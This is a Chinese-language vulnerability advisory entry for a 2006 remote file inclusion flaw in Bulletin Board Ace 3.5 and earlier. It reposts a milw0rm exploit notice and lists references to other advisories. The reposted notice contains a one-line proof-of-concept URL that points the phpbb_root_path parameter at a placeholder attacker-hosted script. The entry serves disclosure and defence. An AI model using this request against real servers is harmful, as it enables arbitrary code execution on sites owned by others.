Bulletin Board Ace 'includes/functions.php'远程文件包含漏洞

https://www.exploit-db.com/exploits/2468
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-094

BulletinBoardAce(BBaCE)3.5及更早版本的includes/functions.php中存在PHP远程文件包含漏洞。远程攻击者通过phpbb_root_path参数中的URL执行任意PHP代码。

_________________________________________________________________________


           /      \
        \  \  ,,  /  /
         '-.`\()/`.-'
        .--_'(  )'_--.
       / /` /`""`\ `\ \           * SpiderZ Hacking Security *
        |  |  ><  |  |
        \  \      /  /
            '.__.'


# Author: SpiderZ
# BBaCE Remote File Inclusion Vulnerability
# For: BBaCE v3 ( Bulletin Board Ace )
# Site: www.spiderz.altervista.org
# Site02: www.spiderz.netsons.org
-------------------------------------------------------------------------
Download: http://bbace.blogspot.com/2005/09/downloads.html
Download 2: http://www.phpbbhacks.com/download/3062
-------------------------------------------------------------------------
_________________________________________________________________________




http://site.com/[path]/includes/functions.php?phpbb_root_path=http://[Evil_script]

# milw0rm.com [2006-10-02]

来源:XF
名称:bbace-functions-file-include(29315)
链接:http://xforce.iss.net/xforce/xfdb/29315
来源:BID
名称:20302
链接:http://www.securityfocus.com/bid/20302
来源:MILW0RM
名称:2468
链接:http://www.milw0rm.com/exploits/2468
来源:VUPEN
名称:ADV-2006-3887
链接:http://www.frsirt.com/english/advisories/2006/3887
来源:SECUNIA
名称:22137
链接:http://secunia.com/advisories/22137
来源:MILW0RM
名称:2468
链接:http://milw0rm.com/exploits/2468